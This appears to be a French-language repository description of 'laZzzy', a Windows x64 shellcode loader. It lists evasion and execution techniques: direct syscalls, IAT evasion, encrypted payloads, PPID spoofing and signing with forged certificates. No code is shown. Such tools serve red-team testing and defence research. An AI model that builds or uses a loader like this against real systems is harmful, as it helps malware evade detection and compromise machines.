capt-meelo/lazzzyChargeur de shellcode démontrant plusieurs techniques d'exécution, notamment les appels système directs, l'évasion IAT, les charges utiles chiffrées, l'usurpation de PPID et la signature de code avec des certificats falsifiés pour Windows x64.
laZzzy est un chargeur de shellcode qui démontre différentes techniques d'exécution couramment utilisées par les malwares. laZzzy a été développé en utilisant différentes bibliothèques open-source header-only.
